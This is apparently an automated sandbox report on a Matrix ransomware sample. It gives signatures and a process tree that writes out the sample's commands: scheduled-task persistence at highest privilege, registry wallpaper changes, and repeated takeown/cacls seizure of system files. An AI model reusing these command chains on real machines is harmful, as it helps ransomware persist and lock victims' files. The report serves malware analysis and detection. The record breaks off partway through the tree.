Analysis
- user interaction
yes - max time kernel
148s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
14/04/2026, 04:27
General
- Target 57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe
- Size 1.2MB
- Sample260414-e2417ab12q
- SHA256 57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e
Score
10/10
Malware Config
Signatures
- Family: Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- Drops file in Drivers directory 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Executes dropped EXE 64 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Drops desktop.ini file(s) 27 IoCs
- Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe"C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe"1⤵
- Family: Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe" "C:\Users\Admin\AppData\Local\Temp\NWMdL05K.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NWMdL05K.exe"C:\Users\Admin\AppData\Local\Temp\NWMdL05K.exe" -n2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\z4DAikTR.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\z4DAikTR.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\WpMBEMtS.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\WpMBEMtS.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\182zbUcR.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\182zbUcR.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\DDF.sys""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\DDF.sys" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\DDF.sys"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "DDF.sys" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "DDF.sys" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL864.exeAghaguL8.exe -accepteula "DDF.sys" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ActivitiesCache.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ActivitiesCache.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "classes.jsa" -nobanner3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "manifest.json" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "manifest.json" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wab.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "wab.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "BrowserCore.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "BrowserCore.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "wabmig.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "BrowserCore.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "BrowserCore.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "classes.jsa" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Workflow.Targets" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
